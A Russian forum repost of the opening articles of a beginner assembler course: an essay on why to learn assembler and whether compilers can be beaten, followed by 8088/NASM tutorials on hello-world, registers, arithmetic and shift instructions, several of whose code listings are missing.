Введение в Assembler. Изучаем низкоуровневое программирование с нуля

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Ради чего стоит изучать ассемблер?
  • Кто выдаст лучший ассемблерный код?
  • Какие программы нельзя написать на ассемблере?
  • Какие преимущества ассемблер дает программисту?
  • Стоит ли начинать изучать программирование с ассемблера?
  • Насколько легче учить другие языки, когда уже знаешь ассемблер?
  • Насколько доходно уметь программировать на ассемблере?
Ты решил освоить ассемблер, но перед этим хочешь понять, что тебе это даст как программисту? Стоит ли входить в мир программирования через ассемблер, или лучше начать с какого‑нибудь языка высокого уровня? И вообще, нужно ли знать ассемблер, чтобы стать полноценным программистом? Давай разберемся во всем этом по порядку.

Погружение в ассемблер​

Это вводная статья цикла «Погружение в ассемблер», которую мы публикуем в честь его завершения. Ее полный текст доступен без подписки. Прочитав ее, ты можешь переходить к другим статьям этого курса:
  • Делаем первые шаги в освоении асма
  • Осваиваем арифметические инструкции
  • Как работают переменные, режимы адресации, инструкции условного перехода
  • Учимся работать с памятью
  • Работаем с большими числами и делаем сложные математические вычисления
  • Сокращаем размер программы

РАДИ ЧЕГО СТОИТ ИЗУЧАТЬ АССЕМБЛЕР?​

Стоит освоить ассемблер, если ты хочешь:
  • разобраться, как работают компьютерные программы. Разобраться в деталях, на всех уровнях, вплоть до машинного кода;
  • разрабатывать программы для микроскопических встраиваемых систем. Например, для 4-битных микроконтроллеров;
  • понять, что находится под капотом у языков высокого уровня;
  • создать свой собственный компилятор, оптимизатор, среду исполнения JIT, виртуальную машину или что‑то в этом роде;
  • ломать, отлаживать или защищать компьютерные системы на самом низком уровне. Многие изъяны безопасности проявляются только на уровне машинного кода и могут быть устранены только с этого уровня.
Не стоит осваивать ассемблер, если ты хочешь ускорить другие свои программы. Современные оптимизирующие компиляторы справляются с этой задачей очень хорошо. Ты вряд ли сможешь обогнать их.


КТО ВЫДАСТ ЛУЧШИЙ АССЕМБЛЕРНЫЙ КОД?​

Почему обогнать компилятор практически невозможно? Смотри, для тебя же очевидно, что компьютер в шахматы не обыграть, даже если ты играешь лучше, чем создатель шахматной программы? С оптимизирующими компиляторами та же история. Только оптимизирующий компилятор играет не шахматными фигурами, а контекстными обстоятельствами.

В современных процессорах практически ничто из того, что влияет на производительность, нельзя обсуждать в отрыве от контекста. Одна и та же комбинация из десятка ассемблерных инструкций выполняется с резкими отличиями по скорости (в тысячи или даже миллионы раз), в зависимости от целой кучи самых разнообразных обстоятельств.

  • Те данные, к которым ты сейчас обращаешься, загружены в кеш или нет? А сама комбинация ассемблерных инструкций?
  • Если ни данные, ни код не размещены в кеше, то не перетаскивает ли их процессор туда втихомолку, предполагая, что к ним будут обращаться в ближайшее время?
  • Какие инструкции были выполнены непосредственно перед нашим десятком? Они сейчас все еще на конвейере?
  • Мы случаем не достигли конца текущей страницы виртуальной памяти? А то, не дай бог, добрая половина нашего десятка попадет на новую страницу, которая к тому же сейчас, по закону подлости, вытеснена на диск. Но если нам повезло и новая страница таки в физической памяти, можем ли мы добраться до нее через TLB-буфер? Или нам придется продираться к ней через полный адрес, используя таблицы страниц? И все ли нужные нам таблицы страниц загружены в физическую память? Или какие‑то из них вытеснены на диск?
  • Какой именно процессор выполняет код? Дешевенький i3 или мощный i7? Бывает, что у дешевых процессоров тот же набор инструкций, что и у мощных, но продвинутые инструкции выполняются в несколько шагов, а не за один.
И все это только верхушка айсберга, малая часть того, что тебе придется учитывать и анализировать, когда будешь стараться переиграть компилятор.

Есть такой миф, что программы, написанные на ассемблере, работают в десять раз быстрее. Этот миф уходит корнями в семидесятые годы. Компиляторы в те далекие времена генерировали код настолько бездарно, что у каждого уважающего себя программиста был черный список запрещенных языковых конструкций.

Когда наши коллеги из прошлого писали программы, они либо держали в уме этот черный список и не давали своим пальцам набивать проблемные конструкции, либо настраивали специальный препроцессор, который конвертировал исходник в более низкоуровневое беспроблемное представление на том же языке. С тех пор минуло 50 лет. Компиляторы возмужали, но миф остался.

Конечно, даже сегодня можно изредка встретить уникума, который пишет более быстрый код, чем компилятор. Вот только времени у него на это уходит так много, что ни в какие ворота не лезет. Плюс для оптимизации от тебя требуется, чтобы ты назубок знал весь набор инструкций процессора.

Вдобавок, поскольку ты шлифуешь свой код вручную, никакой компилятор не подстрахует тебя, не поможет отловить баги, которые ты неизбежно плодишь, когда пишешь программу.

Кроме того, твой ассемблерный код будет непереносимым. То есть, если ты захочешь, чтобы твоя программа запускалась на другом типе процессора, тебе придется полностью переписать ее, чтобы создать модификацию, заточенную под набор инструкций этого другого процессора. Само собой, тебе эти инструкции тоже надо знать назубок.

В итоге ты потратишь в десятки и сотни раз больше времени, чем если бы доверился оптимизирующему компилятору, — но результат, скорее всего, окажется медленнее, а не быстрее.

При этом иногда оптимизирующий компилятор выплевывает ассемблерный код, логика которого ну совсем непонятна. Однако не спеши обвинять компилятор в глупости. Давай разберем пример.

Когда ты пишешь на С что‑то вроде x = a*2 + b*3, то естественным образом ожидаешь увидеть в ассемблере инструкцию, которая умножает переменную a на двойку. Но компилятор знает, что сложение дешевле умножения. Поэтому он не умножает a на двойку, а складывает ее с самой собой.

Больше того, глядя на b, компилятор может счесть, что b + b + b предпочтительнее, чем b*3. Иногда тройное сложение быстрее умножения, иногда нет. А иногда компилятор приходит к выводу, что вместо исходного выражения быстрее будет вычислить (a + b)*2 + b. Или даже ((a + b)<<1) + b.

А если x используется лишь однократно — причем в связке с парой строк последующего кода, — компилятор может вообще не вычислять x, а просто вставить a*2 + b*3 вместо икса. Но даже если x используется и компилятор видит что‑то вроде y = x – b*3, он может исправить эти расчеты на y = a + a, удивляясь твоей расточительности. Расточительности в плане вычислительной сложности.

Размышления подобного рода неизбежно заводят тебя в запутанный лабиринт альтернативных вариантов. Все их нужно просчитать, чтобы выбрать лучший. Но даже когда ты сделаешь это, вариант ассемблерного кода, сгенерированный компилятором, скорее всего, будет работать быстрее, чем твой.

Кстати, если используешь GCC или Clang, активируй опции оптимизации для SSE, AVX и всего остального, чем богат твой процессор. Затем откинься на спинку кресла и удивись, когда компилятор векторизует твой сишный код. Причем сделает это так, как тебе и не снилось.


КАКИЕ ПРОГРАММЫ НЕЛЬЗЯ НАПИСАТЬ НА АССЕМБЛЕРЕ?​

Нет таких. Все, что можно сделать на компьютере, можно сделать в том числе и на ассемблере. Ассемблер — это текстовое представление сырого машинного кода, в который переводятся все программы, запущенные на компьютере.

Ты при желании можешь написать на ассемблере даже веб‑сайт. В девяностые С был вполне разумным выбором для этой цели. Используя такую вещь, как CGI BIN, веб‑сервер мог вызывать программу, написанную на С. Через stdin сайт получал запрос, а через stdout отправлял результат в браузер. Ты можешь легко реализовать тот же принцип на ассемблере.

Но зачем? Ты должен быть мазохистом, чтобы проделывать такое. Потому что когда ты пишешь на ассемблере, то сталкиваешься вот с такими проблемами.

  • У тебя более низкая продуктивность, чем если бы ты работал на языке высокого уровня.
  • У твоего кода нет никакой структуры, поэтому другим разработчикам будет трудно читать его.
  • Тебе придется писать много букв. А там, где больше букв, больше потенциальных багов.
  • С Secure Coding здесь все очень печально. На ассемблере писать так, чтобы код был безопасным, сложнее всего. На С в этом плане ты чувствуешь себя куда более комфортно.
Да, все можно написать на ассемблере. Но сегодня это нецелесообразно. Лучше пиши на С. Скорее всего, будет безопаснее, быстрее и более лаконично.

От редакции​

Автор статьи — большой поклонник С и настоятельно рекомендует этот язык. Мы не будем лишать его такой возможности. С — отличная штука и помогает как освоить основные концепции программирования, так и прочувствовать принципы работы компьютера. Однако при выборе языка для изучения ты можешь руководствоваться самыми разными соображениями. Например:
  • Надо учить Python или Lua, чтобы моментально получать результаты. Это мотивирует!
  • Надо учить Scheme или Haskell из тех же соображений, что в школе учат алгебру, а не, к примеру, автомеханику.
  • Надо учить Go для того же, для чего C, но в 2020 году.
  • Надо учить JavaScript и React.js, чтобы как можно быстрее найти работу.
  • Надо учить Java, чтобы максимизировать заработок.
  • Надо учить Swift, потому что почему нет?
  • Надо учить HolyC, чтобы славить Господа.
  • Надо учить Perl во имя Сатаны.
И так далее. Ответ на вопрос о том, с какого языка начать, зависит от многих факторов, и выбор — дело индивидуальное.
Конечно, когда ты знаешь ассемблер, у тебя будут значительные преимущества перед теми программистами, которые его не знают. Но прежде чем ознакомиться с этими преимуществами, запомни одну простую вещь: хорошие программисты знают ассемблер, но почти никогда не пишут на нем.


КАКИЕ ПРЕИМУЩЕСТВА АССЕМБЛЕР ДАЕТ ПРОГРАММИСТУ?​

Чтобы писать эффективные программы (в плане быстродействия и экономии ресурсов), тебе обязательно надо знать ассемблер того железа, для которого ты пишешь. Когда ты знаешь ассемблер, ты не обманываешься внешней простотой и краткостью высокоуровневых функций, а понимаешь, во что в итоге превращается каждая из них: в пару‑тройку ассемблерных инструкций или в длиннющую их последовательность, переплетенную циклами.

Если работаешь с языками высокого уровня, такими как С, научись хотя бы читать и понимать ассемблерный код. Даже если ты в обозримом будущем не видишь себя пишущим на ассемблере (на самом деле мало кто себя так видит), знание ассемблера тебе пригодится.

Если будешь с ассемблером на ты, он сослужит тебе хорошую службу в отладке. Освоив ассемблер, ты будешь понимать, что происходит под капотом языков высокого уровня, как компьютер делает то, что он делает, и почему высокоуровневый компилятор иногда работает не так, как ты ждешь от него. Ты сможешь видеть причину этого и понимать, как ее устранить.

Плюс иногда ты ну никак не можешь понять, что у тебя за баг, пока не пройдешься в отладчике в пошаговом режиме по ассемблерному коду.

И вот еще тонкий намек: некоторые работодатели хотели бы видеть в твоем резюме слово «ассемблер». Это говорит им, что ты не просто по верхам нахватался, а действительно интересуешься программированием, копаешь вглубь.


СТОИТ ЛИ НАЧИНАТЬ ИЗУЧАТЬ ПРОГРАММИРОВАНИЕ С АССЕМБЛЕРА?​

Когда ты осваиваешь программирование, начиная с самых низов, в этом есть свои плюсы. Но ассемблер — это не самый низ. Если хочешь начать снизу, начни с логических вентилей и цифровой электроники. Затем поковыряйся с машинным кодом. И только потом приступай к ассемблеру.

Время от времени тебя будут посещать мысли, что ты занимаешься какой‑то ерундой. Но ты узнаешь много полезного для своей будущей работы, даже если она будет связана только с языками высокого уровня. Ты узнаешь, как именно компьютер делает те вещи, которые он делает.

Однако я бы не советовал начинать с ассемблера и более низких слоев. Во всем том, что перечислено в двух предыдущих абзацах, легче разобраться, когда ты начинаешь с какого‑нибудь языка высокого уровня. Так ты достигнешь желаемого результата быстрее, чем оно тебе наскучит.

Но в какой‑то момент тебе и правда обязательно надо познакомиться с ассемблером, особенно если программируешь на С. Я сомневаюсь, что ты сможешь стать полноценным программистом на С, не зная ассемблера. Но начинать с ассемблера не стоит.


НАСКОЛЬКО ЛЕГЧЕ УЧИТЬ ДРУГИЕ ЯЗЫКИ, КОГДА УЖЕ ЗНАЕШЬ АССЕМБЛЕР?​

Ассемблер совершенно не похож на языки высокого уровня. Поэтому народная мудрость «Тот опыт, который ты получил на одном языке, может быть легко сконвертирован на другой язык» с ассемблером не работает.

Если ты начнешь с ассемблера, то после того, как выучишь его и решишь освоить новый язык, тебе придется начинать как с чистого листа. Помню, мой однокашник еще в школе выучил ассемблер, написал на нем игрушку, с которой победил на конференции. Но при этом так и не смог хорошо освоиться в С, когда мы учились в универе.

Чем же ассемблер отличается от языков высокого уровня? Переменные в нем — это просто области памяти. Здесь нет ни int, ни char. Здесь нет массивов!

Есть только память. Причем ты работаешь с ней не так, как на языке высокого уровня. Ты можешь забыть, что в какую‑то область памяти поместил строку, и обратиться к ней как к числу. Программа все равно скомпилируется. Но только обрушится в рантайме. Причем обрушится жестко, без вежливого сообщения об ошибке.

В ассемблере нет do..until, нет for..next, нет if..then. Вместо них там есть только операции сравнения и условного перехода. Строго говоря, там даже функций нет.

Но! Изучив ассемблер, ты будешь понимать, как реализуются и функции, и циклы, и все остальное. А разница между передачей параметра «по значению» и «по ссылке» станет для тебя самоочевидной. Плюс если ты пишешь на С, но не можешь до конца разобраться, как работают указатели, то, когда ты узнаешь, что такое регистры и относительная адресация, увидишь, что понять указатели совсем нетрудно.

Лучше начинай с С. На нем удобно осваивать основы: переменные, условия, циклы, логические построения и остальное. Опыт, который ты получишь при изучении С, легко сконвертировать на любой другой язык высокого уровня, будь то Java, Python или какой‑то еще. Да и с ассемблером легче разобраться, когда ты уже освоил С.


НАСКОЛЬКО ДОХОДНО УМЕТЬ ПРОГРАММИРОВАТЬ НА АССЕМБЛЕРЕ?​

Если заглянешь на HH.ru, то, скорее всего, не найдешь ни одной вакансии, у которой в заголовке написано слово «ассемблер». Но время от времени какая‑нибудь контора лихорадочно ищет мага‑волшебника, который знает нутро компьютера настолько глубоко, что может полностью подчинить операционную систему своей воле. Мага‑волшебника, который умеет (1) латать систему, не имея на руках исходного кода, (2) перехватывать потоки данных на лету и вмешиваться в них.

Некоторая часть этой глубокой магии — а сейчас потребность в такой магии становится все более редкой — может быть воплощена только на языке очень низкого уровня.

Я слышал о конторе, которая ищет человека на разработку новой платформы для высокочастотного трейдинга. Там идея в том, что если ты получаешь информацию о котировках быстрее своих конкурентов и принимаешь решение быстрее их, то будешь грести баснословные суммы.

«Когда ты получаешь котировки, проходя через весь стек TCP/IP, это слишком медленно», — говорят парни из этой фирмы. Поэтому у них есть примочка, которая перехватывает трафик на уровне Ethernet, прямо внутри сетевой карты, куда залита кастомизированная прошивка.

Но эти ребята пошли еще дальше. Они собираются разработать девайс для фильтрации трафика Ethernet — на ПЛИС. Зачем? Чтобы ловить котировки на аппаратном уровне и тем самым экономить драгоценные микросекунды трейдингового времени и в итоге получать небольшое, очень небольшое преимущество перед конкурентами. Язык С им не подошел. Им даже ассемблер не подошел. Так что эти парни выцарапывают программу прямо на кремнии!
 
Последнее редактирование модератором:

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • От редакции
  • Готовимся к работе
  • Если наборы инструкций у процессоров разные, то на каком учить ассемблер лучше всего?
  • Что и как процессор делает после того, как ты запускаешь программу
  • Регистры процессора: зачем они нужны, как ими пользоваться
  • Готовим рабочее место
  • Пишем, компилируем и запускаем программу «Hello, world!»
  • Инструкции, директивы
  • Метки, условные и безусловные переходы
  • Комментарии, алгоритм, выбор регистров
  • Получаем данные с клавиатуры
  • Полезные мелочи: смотрим машинный код, автоматизируем компиляцию
  • Выводы
Ты решил освоить ассемблер, но не знаешь, с чего начать и какие инструменты для этого нужны? Сейчас расскажу и покажу — на примере программы «Hello, world!». А попутно объясню, что процессор твоего компьютера делает после того, как ты запускаешь программу.

Готовимся к работе​

Я буду исходить из того, что ты уже знаком с программированием — знаешь какой-нибудь из языков высокого уровня (С, PHP, Java, JavaScript и тому подобные), тебе доводилось в них работать с шестнадцатеричными числами, плюс ты умеешь пользоваться командной строкой под Windows, Linux или macOS.


Если наборы инструкций у процессоров разные, то на каком учить ассемблер лучше всего?​

Знаешь, что такое 8088? Это дедушка всех компьютерных процессоров! Причем живой дедушка. Я бы даже сказал — бессмертный и бессменный. Если с твоего процессора, будь то Ryzen, Core i9 или еще какой-то, отколупать все примочки, налепленные туда под влиянием технологического прогресса, то останется старый добрый 8088.

SGX-анклавы, MMX, 512-битные SIMD-регистры и другие новшества приходят и уходят. Но дедушка 8088 остается неизменным. Подружись сначала с ним. После этого ты легко разберешься с любой примочкой своего процессора.

Больше того, когда ты начинаешь с начала — то есть сперва выучиваешь классический набор инструкций 8088 и только потом постепенно знакомишься с современными фичами, — ты в какой-то миг начинаешь видеть нестандартные способы применения этих самых фич. Смотри, например, что я сделал с SGX-анклавами и SIMD-регистрами.


Что и как процессор делает после того, как ты запускаешь программу​

После того как ты запустил софтину и ОС загрузила ее в оперативную память, процессор нацеливается на первый байт твоей программы. Вычленяет оттуда инструкцию и выполняет ее, а выполнив, переходит к следующей. И так до конца программы.

Некоторые инструкции занимают один байт памяти, другие два, три или больше. Они выглядят как-то так:

Код:
90
B0 77
B8 AA 77
C7 06 66 55 AA 77

Вернее, даже так:

Код:
90 B0 77 B8 AA 77 C7 06 66 55 AA 77

Хотя погоди! Только машина может понять такое. Поэтому много лет назад программисты придумали более гуманный способ общения с компьютером: создали ассемблер.

Благодаря ассемблеру ты теперь вместо того, чтобы танцевать с бубном вокруг шестнадцатеричных чисел, можешь те же самые инструкции писать в мнемонике:

Код:
nop
mov al, 0x77
mov ax, 0x77AA
mov word [0x5566], 0x77AA

Согласись, такое читать куда легче. Хотя, с другой стороны, если ты видишь ассемблерный код впервые, такая мнемоника для тебя, скорее всего, тоже непонятна. Но мы сейчас это исправим.


Регистры процессора: зачем они нужны, как ими пользоваться​

Что делает инструкция mov? Присваивает число, которое указано справа, переменной, которая указана слева.

Переменная — это либо один из регистров процессора, либо ячейка в оперативной памяти. С регистрами процессор работает быстрее, чем с памятью, потому что регистры расположены у него внутри. Но регистров у процессора мало, так что в любом случае что-то приходится хранить в памяти.

Когда программируешь на ассемблере, ты сам решаешь, какие переменные хранить в памяти, а какие в регистрах. В языках высокого уровня эту задачу выполняет компилятор.

У процессора 8088 регистры 16-битные, их восемь штук (в скобках указаны типичные способы применения регистра):

  • AX — общего назначения (аккумулятор);
  • BX — общего назначения (адрес);
  • CX — общего назначения (счетчик);
  • DX — общего назначения (расширяет AX до 32 бит);
  • SI — общего назначения (адрес источника);
  • DI — общего назначения (адрес приемника);
  • BP — указатель базы (обычно адресует переменные, хранимые на стеке);
  • SP — указатель стека.
Несмотря на то что у каждого регистра есть типичный способ применения, ты можешь использовать их как заблагорассудится. Четыре первых регистра — AX, BX, CX и DX — при желании можно использовать не полностью, а половинками по 8 бит (старшая H и младшая L): AH, BH, CH, DH и AL, BL, CL, DL. Например, если запишешь в AX число 0x77AA (mov ax, 0x77AA), то в AH попадет 0x77, в AL — 0xAA.

С теорией пока закончили. Давай теперь подготовим рабочее место и напишем программу «Hello, world!», чтобы понять, как эта теория работает вживую.


Готовим рабочее место​

  1. Скачай компилятор NASM с www.nasm.us. Обрати внимание, он работает на всех современных ОС: Windows 10, Linux, macOS. Распакуй NASM в какую-нибудь папку. Чем ближе папка к корню, тем удобней. У меня это c:\nasm (я работаю в Windows). Если у тебя Linux или macOS, можешь создать папку nasm в своей домашней директории.
  2. Тебе надо как-то редактировать исходный код. Ты можешь пользоваться любым текстовым редактором, который тебе по душе: Emacs, Vim, Notepad, Notepad++ — сойдет любой. Лично мне нравится редактор, встроенный в Far Manager, с плагином Colorer.
  3. Чтобы в современных ОС запускать программы, написанные для 8088, и проверять, как они работают, тебе понадобится DOSBox или VirtualBox.

Пишем, компилируем и запускаем программу «Hello, world!»​

Сейчас ты напишешь свою первую программу на ассемблере. Назови ее как хочешь (например, first.asm) и скопируй в папку, где установлен nasm.



Если тебе непонятно, что тут написано, — не переживай. Пока просто постарайся привыкнуть к ассемблерному коду, пощупать его пальцами. Чуть ниже я все объясню. Плюс студенческая мудрость гласит: «Тебе что-то непонятно? Перечитай и перепиши несколько раз. Сначала непонятное станет привычным, а затем привычное — понятным».

Теперь запусти командную строку, в Windows это cmd.exe. Потом зайди в папку nasm и скомпилируй программу, используя вот такую команду:

Код:
nasm -f bin first.asm -o first.com

Если ты все сделал правильно, программа должна скомпилироваться без ошибок и в командной строке не появится никаких сообщений. NASM просто создаст файл first.com и завершится.

Чтобы запустить этот файл в современной ОС, открой DOSBox и введи туда вот такие три команды:

Код:
mount c c:\nasm
c:
first

Само собой, вместо c:\nasm тебе надо написать ту папку, куда ты скопировал компилятор. Если ты все сделал правильно, в консоли появится сообщение «Hello, world!».



Инструкции, директивы​

В нашей с тобой программе есть только три вещи: инструкции, директивы и метки.

Инструкции. С инструкциями ты уже знаком (мы их разбирали чуть выше) и знаешь, что они представляют собой мнемонику, которую компилятор переводит в машинный код.

Директивы (в нашей программе их две: org и db) — это распоряжения, которые ты даешь компилятору. Каждая отдельно взятая директива говорит компилятору, что на этапе ассемблирования нужно сделать такое-то действие. В машинный код директива не переводится, но она влияет на то, каким образом будет сгенерирован машинный код.

Директива org говорит компилятору, что все инструкции, которые последуют дальше, надо помещать не в начале сегмента кода, а отступив от начала столько-то байтов (в нашем случае 0x0100).

Директива db сообщает компилятору, что в коде нужно поместить цепочку байтов. Здесь мы перечисляем через запятую, что туда вставить. Это может быть либо строка (в кавычках), либо символ (в апострофах), либо просто число.

В нашем случае: db "Hello, world", '!', 0.

Обрати внимание, символ восклицательного знака я отрезал от остальной строки только для того, чтобы показать, что в директиве db можно оперировать отдельными символами. А вообще писать лучше так:

Код:
db "Hello, world!", 0

Метки, условные и безусловные переходы​

Метки используются для двух целей: задавать имена переменных, которые хранятся в памяти (такая метка в нашей программе только одна: string), и помечать участки в коде, куда можно прыгать из других мест программы (таких меток в нашей программе три штуки — те, которые начинаются с двух символов собаки).

Что значит «прыгать из других мест программы»? В норме процессор выполняет инструкции последовательно, одну за другой. Но если тебе надо организовать ветвление (условие или цикл), ты можешь задействовать инструкцию перехода. Прыгать можно как вперед от текущей инструкции, так и назад.

У тебя в распоряжении есть одна инструкция безусловного перехода (jmp) и штук двадцать инструкций условного перехода.

В нашей программе задействованы две инструкции перехода: je и jmp. Первая выполняет условный переход (Jump if Equal — прыгнуть, если равно), вторая (Jump) — безусловный. С их помощью мы организовали цикл.

Обрати внимание: метки начинаются либо с буквы, либо со знака подчеркивания, либо со знака собаки. Цифры вставлять тоже можно, но только не в начало. В конце метки обязательно ставится двоеточие.


Комментарии, алгоритм, выбор регистров​

Итак, в нашей программе есть только три вещи: инструкции, директивы и метки. Но там могла бы быть и еще одна важная вещь: комментарии. С ними читать исходный код намного проще.

Как добавлять комментарии? Просто поставь точку с запятой, и все, что напишешь после нее (до конца строки), будет комментарием. Давай добавим комментарии в нашу программу.



Теперь, когда ты разобрался во всех частях программы по отдельности, попробуй вникнуть, как все части служат алгоритму, по которому работает наша программа.

  1. Поместить в BX адрес строки.
  2. Поместить в AL очередную букву из строки.
  3. Если вместо буквы там 0, выходим из программы — переходим на 6-й шаг.
  4. Выводим букву на экран.
  5. Повторяем со второго шага.
  6. Конец.
Обрати внимание, мы не можем использовать AX для хранения адреса, потому что нет таких инструкций, которые бы считывали память, используя AX в качестве регистра-источника.


Получаем данные с клавиатуры​

От программ, которые не могут взаимодействовать с пользователем, толку мало. Так что смотри, как можно считывать данные с клавиатуры. Сохрани вот этот код как second.asm.


Потом иди в командную строку и скомпилируй его в NASM:

Код:
nasm -f bin second.asm -o second.com

Затем запусти скомпилированную программу в DOSBox:

Код:
second

Как работает программа? Две строки после метки @@start вызывают функцию BIOS, которая считывает символы с клавиатуры. Она ждет, когда пользователь нажмет какую-нибудь клавишу, и затем кладет ASCII-код полученного значения в регистр AL. Например, если нажмешь заглавную A, в AL попадет 0x41, а если строчную a — 0x61.

Дальше смотрим: если нажата клавиша с кодом 0x1B (клавиша ESC), то выходим из программы. Если же нажата не ESC, вызываем ту же функцию, что и в предыдущей программе, чтобы показать символ на экране. После того как покажем — прыгаем в начало (jmp): start.

Обрати внимание, инструкция cmp (от слова compare — сравнить) выполняет сравнение, инструкция je (Jump if Equal) — прыжок в конец программы.


Полезные мелочи: смотрим машинный код, автоматизируем компиляцию​

Если тебе интересно, в какой машинный код преобразуются инструкции программы, скомпилируй исходник вот таким вот образом (добавь опцию -l):

Код:
nasm -f bin second.asm -l second.lst -o second.com

Тогда NASM создаст не только исполняемый файл, но еще и листинг: second.lst. Листинг будет выглядеть как-то так.



Еще тебе наверняка уже надоело при каждом компилировании вколачивать в командную строку длинную последовательность одних и тех же букв. Если ты используешь Windows, можешь создать батник (например, m.bat) и вставить в него вот такой текст.



Теперь ты можешь компилировать свою программу вот так:

Код:
m first

Само собой, вместо first ты можешь подставить любое имя файла.


Выводы​

Итак, ты теперь знаешь, как написать простейшую программу на ассемблере, как ее скомпилировать, какие инструменты для этого нужны. Конечно, прочитав одну статью, ты не станешь опытным программистом на ассемблере. Чтобы придумать и написать на нем что-то стоящее — вроде Floppy Bird и «МикроБ», которые написал я, — тебе предстоит еще много пройти. Но первый шаг в эту сторону ты уже сделал.
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Другие статьи курса
  • Пишем вспомогательную подпрограмму
  • Учимся складывать и вычитать
  • Осваиваем инструкцию умножения
  • Разбираемся с инструкцией деления
  • Логический и арифметический сдвиги, циклический сдвиг
  • Три логические инструкции плюс одна бесполезная
  • Знакомимся с инструкциями инкремента и декремента
  • Пишем простую игрушку «Угадай число»
  • Выводы
  • Инструкции и операторы
Прочитав эту статью, ты научишься пользоваться арифметическими и логическими инструкциями, а также инструкциями сдвига. Попутно узнаешь, как создавать подпрограммы. А в конце напишешь простенькую игрушку «Угадай число».

Другие статьи курса​

  • Зачем учить ассемблер в 2020 году
  • Делаем первые шаги в освоении асма
  • Как работают переменные, режимы адресации, инструкции условного перехода
  • Учимся работать с памятью
  • Работаем с большими числами и делаем сложные математические вычисления
  • Сокращаем размер программы
  • Пишем клон игры Flappy Bird, который уместится в бутсектор
  • Пишем бейсик и умещаем его в 512 байт
Большинство тех инструкций, о которых ты узнаешь из этой статьи, принимают на входе два аргумента. Каждый отдельно взятый аргумент — это либо регистр, либо память, либо константа. Почти все их сочетания допустимы: регистр-регистр, регистр-память, память-регистр, регистр-константа, память-константа. Единственное недопустимое сочетание — память-память.

Регистры могут быть 16- или 8-битными. 16-битные регистры: AX, BX, CX, DX, SI, DI, BP и SP. 8-битные регистры: AH, AL, BH, BL, CH, CL, DH и DL.



Пишем вспомогательную подпрограмму​

У всех программ, которые мы с тобой сейчас напишем, есть повторяющееся действие: вывести результат на экран. Чтобы не писать код для этого действия каждый раз заново, давай напишем для него подпрограмму.

Что такое подпрограмма? Это кусок кода, который выполняет какую-то небольшую задачу. К подпрограмме обычно обращаются через инструкцию call. Все подпрограммы заканчиваются инструкцией ret (RETurn).

Пока это все, что тебе нужно знать о подпрограммах. Конечно, по-хорошему, когда пользуешься подпрограммами, надо бы понимать еще несколько вещей, в частности что такое указатель стека и как он меняется при обращении к подпрограмме. Но пока, в рамках текущего урока, давай просто условимся, что если тебе надо нарисовать на экране букву, просто вставляй в свой код вот такую инструкцию.



Реализация подпрограммы call display_letter представлена ниже. Сохрани ее в файл library.asm.



Важно! В конец всех программ, которые мы напишем, тебе надо будет вставлять код из library.asm. К чему это приведет? Все программы будут заканчиваться выходом в командную строку, и у них будут подпрограммы для вывода символа на экран (из регистра AL) и для считывания символа с клавиатуры (результат помещается в регистр AL).


Учимся складывать и вычитать​

В качестве аргументов для инструкции сложения давай задействуем регистр AL и константу.

Эта программа выводит на экран цифру 7. Потому что 4 + 3 = 7.

В качестве аргументов для инструкции вычитания давай возьмем регистр AL и константу.

Эта программа выводит на экран цифру 1. Потому что 4 – 3 = 1.


Осваиваем инструкцию умножения​

Инструкция умножения умеет работать с байтами (8-битные числа) и словами (16-битные числа). Умножаемое — это всегда регистр AL/AX. А множителем может быть либо регистр (любой), либо переменная в памяти.

Только учти, что если умножаемое у тебя в AL, то множитель должен быть 8-битным, а если в AX — 16-битным. Результат умножения попадает либо в AX (когда перемножаем два 8-битных числа), либо в DX:AX (когда перемножаем два 16-битных числа).

В примере ниже мы используем два 8-битных регистра AL (умножаемое) и CL (множитель). Результат попадает в 16-битный регистр AX.

Эта программа выводит на экран цифру 6. Потому что 3 × 2 = 6.

Для того чтобы перемножить два 16-битных числа, умножаемое помести в AX, а множитель — в CX. Затем вместо mul cl напиши mul cx.

Обрати внимание, инструкция mul оперирует беззнаковыми целыми. Если тебе надо перемножить числа со знаком, используй imul.


Разбираемся с инструкцией деления​

Инструкция деления умеет работать со словами (16-битные числа) и двойными словами (32-битные числа). Делимое — это всегда либо регистр AX, либо DX:AX. А делителем может быть либо регистр (любой), либо переменная в памяти.

Только учти, что если делимое у тебя в AX, то делитель должен быть 8-битным, а если в DX:AX — 16-битным.

Когда ты делишь 16-битное число на 8-битное, то результат попадает в AL, а остаток — в AH. Если делишь 32-битное число на 16-битное, результат попадает в AX, остаток — в DX.

В примере ниже мы используем 16-битный и 8-битный регистры. Результат попадает в AL, остаток в AH.

Эта программа выводит на экран цифру 3. Потому что 100 / 33 = 3. Если хочешь посмотреть, какой остаток получился, добавь вот такую строчку сразу после той, где написана инструкция div.

Берегись! Инструкция деления может сломать твою программу. Если ты сделаешь деление на ноль, то возникнет системная ошибка и твоя программа вылетит в командную строку.

Обрати внимание, инструкция div оперирует беззнаковыми целыми. Если тебе надо разделить числа со знаком, используй idiv.


Логический и арифметический сдвиги, циклический сдвиг​

Инструкции сдвига (операторы << и >> в языках высокого уровня) — это самые родные инструкции для процессора. Работают они быстрее, чем большинство других инструкций. Так что если какую-то часть вычислений можно реализовать на них, — особенно если это позволит избежать инструкций умножения и деления, — смело их используй.

Сейчас объясню, как здесь работает инструкция сдвига. Представь, что значение регистра AL — это число в двоичной системе счисления. Инструкция shl просто сдвигает каждый бит двоичного числа на одну позицию влево и добавляет справа ноль. А тот бит, который вытесняется слева, попадает в флаг CF (Carry Flag; флаг переноса).

Аналогичным образом работает инструкция shr, но только она сдвигает биты регистра вправо, а не влево.

Есть еще инструкция sar, которая работает почти как shr, но в отличие от shr делает не логический, а арифметический сдвиг. Что это значит? Когда sar сдвигает бит двоичного числа вправо, то не добавляет ноль, а дублирует бит, который там был до сдвига. Иногда это может быть и ноль, но не всегда.

В чем польза от такой хитроумной альтернативы обычному сдвигу вправо? В том, что sar позволяет двигать числа со знаком. Сдвинуть их может и shr, вот только в регистре в результате этого получится белиберда.

